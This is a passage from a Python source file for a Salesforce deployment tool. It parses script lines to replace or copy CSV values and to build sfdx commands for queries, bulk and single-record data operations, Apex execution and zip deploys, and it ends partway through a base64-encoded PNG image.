in command column " + str(lineNumber) + ": " + lineStr else: error = True errorMsg = "Expected more values in script at line " + str(lineNumber) + ": " + lineStr return error, errorMsg, cmd def ProcessFileScriptLine(lineSplit, lineStr, targetName, sourceName, deployDataUrl, lineNumber, deployStageUrl): error = False errorMsg = "" pathStringFileSource = "" pathStringFileTarget = "" returnMsg = "" if len(lineSplit) >= 7: if lineSplit[1] == "REPLACE": colReplaceIndexInSource = 0 colReplaceIndexInTarget = 0 fileToReplaceContent = lineSplit[2] fileSource = lineSplit[3] fileTarget = lineSplit[4] replaceField = lineSplit[5] matchFieldGrand = lineSplit[6] matchFieldList = [] matchFieldListIndexSource = [] matchFieldListIndexTarget = [] matchFieldSplit = matchFieldGrand.split("+") for matchField in matchFieldSplit: matchFieldList.append(matchField) ## fileSourceUrl = fileSource if "{gitroot}" in fileSource: splitFileSourceUrl = fileSource.split("{gitroot}") if len(splitFileSourceUrl) > 1: fileSourceUrl = os.path.join(deployStageUrl, splitFileSourceUrl[1]) pathStringFileSource = os.path.join(deployDataUrl, PathLeaf(fileSourceUrl)) if not os.path.exists(fileSourceUrl): error = True errorMsg = "File " + fileSourceUrl + " not found." return error, errorMsg, returnMsg if not os.path.exists(pathStringFileSource): shutil.copy(fileSourceUrl, deployDataUrl) pathStringFileSource = os.path.join(deployDataUrl, PathLeaf(fileSourceUrl)) #pathStringFileSource = os.path.join(deployDataUrl, fileSource) if not os.path.exists(pathStringFileSource): error = True errorMsg = "File " + pathStringFileSource + " not found." sourceFile = open(pathStringFileSource, "r", encoding="utf8") firstLine = sourceFile.readline() columns = firstLine.split(",") i = 0 for col in columns: value = col.strip("\r\n") if value in matchFieldList: matchFieldListIndexSource.append(i) if replaceField == value: colReplaceIndexInSource = i i += 1 sourceFile.close() ## fileTargetUrl = fileTarget if "{gitroot}" in fileTarget: splitFileTargetUrl = fileTarget.split("{gitroot}") if len(splitFileTargetUrl) > 1: fileTargetUrl = os.path.join(deployStageUrl, splitFileTargetUrl[1]) pathStringFileTarget = os.path.join(deployDataUrl, PathLeaf(fileTargetUrl)) if not os.path.exists(fileTargetUrl): error = True errorMsg = "File " + fileTargetUrl + " not found." return error, errorMsg, returnMsg if not os.path.exists(pathStringFileTarget): shutil.copy(fileTargetUrl, deployDataUrl) pathStringFileTarget = os.path.join(deployDataUrl, PathLeaf(fileTargetUrl)) #pathStringFileTarget = os.path.join(deployDataUrl, fileTarget) if not os.path.exists(pathStringFileTarget): error = True errorMsg = "File " + pathStringFileTarget + " not found." targetFile = open(pathStringFileTarget, "r", encoding="utf8") firstLine = targetFile.readline() columns = firstLine.split(",") i = 0 for col in columns: value = col.strip("\r\n") if value in matchFieldList: matchFieldListIndexTarget.append(i) if replaceField == value: colReplaceIndexInTarget = i i += 1 targetFile.close() dictSource = dict() sourceFile = open(pathStringFileSource, "r", encoding="utf8") for line in sourceFile: splitLine = line.split(",") if len(splitLine) > 1: dictKey = "" first = True for index in matchFieldListIndexSource: if first: dictKey = splitLine[index].strip("\r\n") first = False else: dictKey += "_" + splitLine[index].strip("\r\n") dictSource[dictKey] = splitLine[colReplaceIndexInSource] sourceFile.close() dictTarget = dict() targetFile = open(pathStringFileTarget, "r", encoding="utf8") for line in targetFile: splitLine = line.split(",") if len(splitLine) > 1: dictKey = "" first = True for index in matchFieldListIndexTarget: if first: dictKey = splitLine[index].strip("\r\n") first = False else: dictKey += "_" + splitLine[index].strip("\r\n") dictTarget[dictKey] = splitLine[colReplaceIndexInTarget] targetFile.close() replaced = False fileToReplaceContentUrl = fileToReplaceContent pathStringFileToReplaceContent = "" if "{gitroot}" in fileToReplaceContent: splitFileToReplaceContentUrl = fileToReplaceContent.split("{gitroot}") if len(splitFileToReplaceContentUrl) > 1: fileToReplaceContentUrl = os.path.join(deployStageUrl, splitFileToReplaceContentUrl[1]) pathStringFileToReplaceContent = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(fileToReplaceContentUrl): error = True errorMsg = "File " + fileToReplaceContentUrl + " not found." return error, errorMsg, returnMsg if not os.path.exists(pathStringFileToReplaceContent): shutil.copy(fileToReplaceContentUrl, deployDataUrl) pathStringFileToReplaceContent = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(pathStringFileToReplaceContent): error = True errorMsg = "File " + pathStringFileToReplaceContent + " not found." return error, errorMsg, returnMsg for key in dictSource: if key in dictTarget: allTextToReplaceContentFile = open(pathStringFileToReplaceContent, "r", encoding="utf8") allTextToReplaceContent = allTextToReplaceContentFile.read() allTextToReplaceContentFile.close() if dictSource[key] in allTextToReplaceContent: replaced = True allTextToReplaceContent = allTextToReplaceContent.replace(dictSource[key], dictTarget[key]) allTextToReplaceContentFile = open(pathStringFileToReplaceContent, "wb") bynaryContent = allTextToReplaceContent.encode() allTextToReplaceContentFile.write(bynaryContent) allTextToReplaceContentFile.close() if replaced: returnMsg = ( "Replaced values from file " + pathStringFileToReplaceContent + " using " + pathStringFileSource + " as source and " + pathStringFileTarget + " as target. Match fields: " + matchFieldGrand + ". Replace: " + replaceField + "." ) if not replaced: returnMsg = ( "No values replaced from file " + pathStringFileToReplaceContent + "." ) else: error = True if len(lineSplit) >= 8: if lineSplit[1] == "COPY": colCopyIndexInSource = 0 colCopyIndexInTarget = 0 fileToCopyContent = lineSplit[2] fileSource = lineSplit[3] fileTarget = lineSplit[4] sourceCopyFieldGrand = lineSplit[5] targetCopyField = lineSplit[6] matchFieldGrand = lineSplit[7] sourceCopyFieldList = [] sourceCopyFieldListIndexSource = [] sourceCopyFieldSplit = sourceCopyFieldGrand.split("+") for sourceCopyField in sourceCopyFieldSplit: sourceCopyFieldList.append(sourceCopyField) matchFieldList = [] matchFieldListIndexSource = [] matchFieldListIndexTarget = [] matchFieldSplit = matchFieldGrand.split("+") for matchField in matchFieldSplit: matchFieldList.append(matchField) # SOURCE FILE PARSED FOR COLUMN INDEX pathStringFileSource = os.path.join(deployDataUrl, fileSource) if not os.path.exists(pathStringFileSource): error = True errorMsg = "File " + pathStringFileSource + " not found." return error, errorMsg, returnMsg sourceFile = open(pathStringFileSource, "r", encoding="utf8") firstLine = sourceFile.readline() columns = firstLine.split(",") i = 0 for col in columns: value = col.strip("\r\n") if value in matchFieldList: matchFieldListIndexSource.append(i) if value in sourceCopyFieldList: sourceCopyFieldListIndexSource.append(i) i += 1 sourceFile.close() pathStringFileTarget = os.path.join(deployDataUrl, fileTarget) if not os.path.exists(pathStringFileTarget): error = True errorMsg = "File " + pathStringFileTarget + " not found." return error, errorMsg, returnMsg targetFile = open(pathStringFileTarget, "r", encoding="utf8") firstLine = targetFile.readline() columns = firstLine.split(",") i = 0 for col in columns: value = col.strip("\r\n") if value in matchFieldList: matchFieldListIndexTarget.append(i) if targetCopyField == value: colCopyIndexInTarget = i i += 1 targetFile.close() # SOURCE FILE PARSED FOR CONTENT dictSource = dict() sourceFile = open(pathStringFileSource, "r", encoding="utf8") for line in sourceFile: splitLine = line.split(",") if len(splitLine) > 1: dictKey = "" dictValue = "" first = True for index in matchFieldListIndexSource: if first: dictKey = splitLine[index].strip("\r\n") first = False else: dictKey += "_" + splitLine[index].strip("\r\n") first = True for index in sourceCopyFieldListIndexSource: if first: dictValue = splitLine[index].strip("\r\n") first = False else: dictValue += "_" + splitLine[index].strip("\r\n") dictSource[dictKey] = dictValue sourceFile.close() copied = False fileToCopyContentUrl = fileToCopyContent pathStringFileToCopyContent = "" if "{gitroot}" in fileToCopyContent: splitFileToCopyContentUrl = fileToCopyContent.split("{gitroot}") if len(splitFileToCopyContentUrl) > 1: fileToCopyContentUrl = os.path.join(deployStageUrl, splitFileToCopyContentUrl[1]) pathStringFileToCopyContent = os.path.join(deployDataUrl, PathLeaf(fileToCopyContentUrl)) # if not os.path.exists(fileToCopyContentUrl): # error = True # errorMsg = "File " + fileToCopyContentUrl + " not found." if not os.path.exists(pathStringFileToCopyContent): shutil.copy(fileToCopyContentUrl, deployDataUrl) pathStringFileToCopyContent = os.path.join(deployDataUrl, PathLeaf(fileToCopyContentUrl)) if not os.path.exists(pathStringFileToCopyContent): error = True errorMsg = "File " + pathStringFileToCopyContent + " not found." if not os.path.exists(pathStringFileTarget): error = True errorMsg = "File " + pathStringFileTarget + " not found." return error, errorMsg # LOOP targetFile = open(pathStringFileTarget, "r", encoding="utf8") resultsFile = open(pathStringFileToCopyContent, "w", encoding="utf8") headerLine = targetFile.readline() resultsFile.write(headerLine) for line in targetFile: splitLine = line.split(",") resultsSplit = splitLine if len(splitLine) > 1: dictKey = "" first = True for index in matchFieldListIndexTarget: if first: dictKey = splitLine[index].strip("\r\n") first = False else: dictKey += "_" + splitLine[index].strip("\r\n") if dictKey in dictSource: copied = True resultsSplit[colCopyIndexInTarget] = dictSource[dictKey] resultsLine = ",".join(resultsSplit) if not resultsLine.endswith("\n"): resultsLine = resultsLine + "\n" resultsFile.write(resultsLine) resultsFile.close() targetFile.close() if copied: returnMsg = ( "Copied values in file " + pathStringFileToCopyContent + " using " + pathStringFileSource + " as source and " + pathStringFileTarget + " as target. Match fields: " + matchFieldGrand + ". Copy fields: " + sourceCopyFieldGrand + " into field:" + targetCopyField + "." ) if not copied: returnMsg = ( "No values copied in file " + pathStringFileToCopyContent + "." ) if error: errorMsg = "Expected more values in script at line " + str(lineNumber) + ": " + lineStr return error, errorMsg, returnMsg def ProcessDataScriptLine(lineSplit, lineStr, targetName, sourceName, deployDataUrl, lineNumber, deployStageUrl): error = False errorMsg = "" cmd = [] target = "" pathString = "" if len(lineSplit) >= 1: if lineSplit[0] == "SOURCE": target = sourceName if lineSplit[0] == "TARGET": target = targetName else: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd if len(lineSplit) >= 3: if lineSplit[1] == "SOQLQUERY": if len(lineSplit) < 4: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd query = lineSplit[2] fileTarget = lineSplit[3] pathString = os.path.join(deployDataUrl, fileTarget) cmd = ( "sfdx force:data:soql:query --apiversion " + defaultApiVersion + " -u " + target + " -q " + query + " -r csv" ) if (platform.system() != "Windows"): cmd = ("/usr/local/bin/sfdx force:data:soql:query --apiversion " + defaultApiVersion + " -u " + target + " -q " + query + " -r csv" ) if lineSplit[1] == "BULKDELETE": if len(lineSplit) < 5: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd customObject = lineSplit[2] fileTarget = lineSplit[3] waitTime = lineSplit[4] fileToReplaceContentUrl = fileTarget if "{gitroot}" in fileTarget: splitFileToReplaceContentUrl = fileTarget.split("{gitroot}") if len(splitFileToReplaceContentUrl) > 1: fileToReplaceContentUrl = os.path.join(deployStageUrl, splitFileToReplaceContentUrl[1]) pathString = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(pathString): shutil.copy(fileToReplaceContentUrl, deployDataUrl) pathString = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(pathString): error = True errorMsg = "File specified not found on line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd cmd = [ "sfdx", "force:data:bulk:delete", "--apiversion", defaultApiVersion, "-u", target, "-s", customObject, "-f", pathString, "-w", waitTime ] if (platform.system() != "Windows"): cmd = ["/usr/local/bin/sfdx" + " " + "force:data:bulk:delete" + " " + "--apiversion" + " " + defaultApiVersion + " " + "-u" + " " + target + " " + "-s" + " " + customObject + " " + "-f" + " " + pathString + " " + "-w" + " " + waitTime] if lineSplit[1] == "BULKUPSERT": if len(lineSplit) < 6: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd customObject = lineSplit[2] fileTarget = lineSplit[3] externalId = lineSplit[4] waitTime = lineSplit[5] fileToReplaceContentUrl = fileTarget if "{gitroot}" in fileTarget: splitFileToReplaceContentUrl = fileTarget.split("{gitroot}") if len(splitFileToReplaceContentUrl) > 1: fileToReplaceContentUrl = os.path.join(deployStageUrl, splitFileToReplaceContentUrl[1]) pathString = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(pathString): shutil.copy(fileToReplaceContentUrl, deployDataUrl) pathString = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(pathString): error = True errorMsg = "File specified not found on line " + str(lineNumber) + ": " + lineStr return error, errorMsg, target, pathString, cmd cmd = [ "sfdx", "force:data:bulk:upsert", "--apiversion", defaultApiVersion, "-u", target, "-s", customObject, "-i", externalId, "-f", pathString, "-w", waitTime ] if (platform.system() != "Windows"): cmd = ["/usr/local/bin/sfdx" + " " + "force:data:bulk:upsert" + " " + "--apiversion" + " " + defaultApiVersion + " " + "-u" + " " + target + " " + "-s" + " " + customObject + " " + "-i" + " " + externalId + " " + "-f" + " " + pathString + " " + "-w" + " " + waitTime] if lineSplit[1] == "RECORDCREATE": if len(lineSplit) < 4: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd customObject = lineSplit[2] values = lineSplit[3] cmd = [ "sfdx", "force:data:record:create", "--apiversion", defaultApiVersion, "-u", target, "-s", customObject, "-q", '"' + values + '"', ] cmd = ( "sfdx force:data:record:create --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -q " + values ) if (platform.system() != "Windows"): cmd = ("/usr/local/bin/sfdx force:data:record:create --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -q " + values ) if lineSplit[1] == "RECORDDELETE": customObject = lineSplit[2] values = lineSplit[3] externalId = lineSplit[4] cmd = ( "sfdx force:data:record:delete --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -i " + values ) if (platform.system() != "Windows"): cmd = ("/usr/local/bin/sfdx force:data:record:delete --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -i " + values ) if externalId == "values": cmd = ( "sfdx force:data:record:delete --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -w " + values ) if (platform.system() != "Windows"): cmd = ("/usr/local/bin/sfdx force:data:record:delete --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -w " + values ) if lineSplit[1] == "RECORDUPDATE": if len(lineSplit) < 6: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd customObject = lineSplit[2] externalId = lineSplit[3] values = lineSplit[4] valuesToUpdate = lineSplit[5] cmd = ( "sfdx force:data:record:update --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -i " + values + " -v " + valuesToUpdate ) if (platform.system() != "Windows"): cmd = ("/usr/local/bin/sfdx force:data:record:update --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -i " + values + " -v " + valuesToUpdate ) if externalId == "values": cmd = ( "sfdx force:data:record:update --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -w " + values + " -v " + valuesToUpdate ) if (platform.system() != "Windows"): cmd = ("/usr/local/bin/sfdx force:data:record:update --apiversion " + defaultApiVersion + " -u " + target + " -s " + customObject + " -w " + values + " -v " + valuesToUpdate ) if lineSplit[1] == "APEXEXECUTE": fileTarget = lineSplit[2] fileToReplaceContentUrl = fileTarget if "{gitroot}" in fileTarget: splitFileToReplaceContentUrl = fileTarget.split("{gitroot}") if len(splitFileToReplaceContentUrl) > 1: fileToReplaceContentUrl = os.path.join(deployStageUrl, splitFileToReplaceContentUrl[1]) pathString = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(pathString): shutil.copy(fileToReplaceContentUrl, deployDataUrl) pathString = os.path.join(deployDataUrl, PathLeaf(fileToReplaceContentUrl)) if not os.path.exists(pathString): error = True errorMsg = "File specified not found on line " + str(lineNumber) + ": " + lineStr return error, errorMsg, target, pathString, cmd cmd = ["sfdx", "force:apex:execute", "--apiversion", defaultApiVersion, "-u", target, "-f", pathString] if (platform.system() != "Windows"): cmd = ["/usr/local/bin/sfdx" + " " + "force:apex:execute" + " " + "--apiversion" + " " + defaultApiVersion + " " + "-u" + " " + target + " " + "-f" + " " + pathString] else: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd def ProcessMetadataScriptLine(lineSplit, lineStr, targetName, sourceName, deployDataUrl, lineNumber, deployStageUrl): error = False errorMsg = "" cmd = [] target = "" pathString = "" if len(lineSplit) >= 1: if lineSplit[0] == "SOURCE": target = sourceName if lineSplit[0] == "TARGET": target = targetName else: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd if lineSplit[1] == "DEPLOYZIP": if len(lineSplit) < 8: error = True errorMsg = "Expected more values in script at line " + lineNumber + ": " + lineStr return error, errorMsg, target, pathString, cmd fileTarget = lineSplit[2] testLevel = lineSplit[3] checkOnly = lineSplit[4] ignoreWarnings = lineSplit[5] ignoreErrors = lineSplit[6] waitParam = lineSplit[7] deployType = "Zip" zipFileToDeployUrl = fileTarget if "{gitroot}" in fileTarget: splitZipFileToDeployUrl = fileTarget.split("{gitroot}") if len(splitZipFileToDeployUrl) > 1: zipFileToDeployUrl = os.path.join(deployStageUrl, splitZipFileToDeployUrl[1]) pathString = os.path.join(deployDataUrl, PathLeaf(zipFileToDeployUrl)) if not os.path.exists(pathString): shutil.copy(zipFileToDeployUrl, deployDataUrl) pathString = os.path.join(deployDataUrl, PathLeaf(zipFileToDeployUrl)) if not os.path.exists(pathString): error = True errorMsg = "File specified not found on line " + str(lineNumber) + ": " + lineStr return error, errorMsg, target, pathString, cmd if testLevel not in testRunTypes: error = True errorMsg = "TestRun type not supported on line " + str(lineNumber) + ": " + lineStr return error, errorMsg, target, pathString, cmd if checkOnly not in ["YES","NO"]: error = True errorMsg = "Check only (YES,NO) not supported on line " + str(lineNumber) + ": " + lineStr return error, errorMsg, target, pathString, cmd if ignoreWarnings not in ["YES","NO"]: error = True errorMsg = "Ignore warnings (YES,NO) not supported on line " + str(lineNumber) + ": " + lineStr return error, errorMsg, target, pathString, cmd if ignoreErrors not in ["YES","NO"]: error = True errorMsg = "Ignore errors (YES,NO) not supported on line " + str(lineNumber) + ": " + lineStr return error, errorMsg, target, pathString, cmd return error, errorMsg, target, pathString, cmd def getImageStream(): img_b64 = """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